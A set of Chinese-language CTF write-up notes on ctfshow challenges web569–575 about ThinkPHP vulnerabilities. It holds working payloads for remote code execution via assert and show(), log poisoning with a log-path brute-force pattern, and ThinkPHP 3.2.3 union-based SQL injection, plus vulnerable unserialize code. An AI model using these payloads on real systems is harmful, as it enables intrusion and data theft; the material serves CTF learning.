# thinkphp专题

### web569

考察tp的路由模式

```
GET ?s=Admin/Login/ctfshowLogin
```

### web570

目录穿越靠GET很难弄，需要POST穿越目录

```
GET ?s=/ctfshow/assert/assert($_POST['shell'])
POST shell=system('cat /flag_is_here')
```

### web571

show函数造成命令执行

```
GET /?s=Home/index/index&n=<?php var_dump(system('cat /fl*')); ?>
```

### web572

爆破log，TP3的log文件按照以下格式存储在该目录中。

```
/Application/Runtime/Logs/Home/21_§04§_§15§.log
```

```
/index.php?showctf=<?php var_dump(system('cat /fl*')); ?>
```

### web573

[thinkphp3.2.3 SQL注入漏洞复现](https://blog.csdn.net/rfrder/article/details/114024426?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161927626616780357256379%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D\&request_id=161927626616780357256379\&biz_id=0\&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-9-114024426.pc_v2_rank_blog_default\&utm_term=thinkphp)，利用数组绕过过滤函数，在3.2.4修复

```
?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags
```

### web574

```
public function index($id=1){

$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
```

exp，本质上还是用括号闭合， where需要多了一次括号

```
/?id=-1) union select 1,group_concat(flag4s),3,4 from flags#
```

### web575

```
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
```
